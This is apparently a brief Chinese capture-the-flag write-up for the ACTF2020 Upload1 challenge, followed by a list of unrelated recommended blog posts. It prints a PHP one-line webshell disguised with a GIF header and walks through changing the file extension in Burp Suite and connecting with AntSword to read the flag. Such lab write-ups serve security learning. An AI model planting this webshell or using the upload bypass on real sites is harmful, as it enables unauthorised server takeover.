1、点开题目链接，页面显示如下，上传test.jpg里面包含一句话木马
GIF89a? <script language="php">eval($_REQUEST1)</script>
2、使用bp抓包修改后缀，点击发送
3、不关浏览器的代理，在bp中将该包放行
4、用蚁剑连接
5、在根目录中找到flag
[ACTF2020 新生赛]Upload1
不拿flag不改名2024-09-12 13:20
相关推荐
摇滚侠1 小时前
《SpringBoot 3：入门与应用实战》第 6 章 Spring Boot 最佳实践 阅读笔记 12mmsx1 小时前
Android 宠物健康服务平台实战：从架构设计到主题换肤完整解析（源码和文档）、如果1 小时前
ima Skills 自进化实战：三层结构、反馈与版本验证hunterandroid2 小时前
自定义 View 绘制与触摸冲突：从滑动卡顿到事件分发闭环weixin_403810132 小时前
安卓自动化脚本 HID 硬件选购指南：蓝牙HID与OTG HID区别、成本与搭建教程qq_316837752 小时前
uniapp 安卓/H5 使用 contentEditable 属性 富文本编辑器二流小码农2 小时前
鸿蒙开发：了解Context404_coder2 小时前
源码视角下的 Android 开机流程（三）：从 Launcher Task 到 WindowState 挂载又见情义3 小时前
RK3568 Android 13 移植 EC20-CE 4G 模块全记录网安蟹佬霸3 小时前
Android安全攻防实战：从APK逆向到Frida动态Hook全流程详解（附脚本）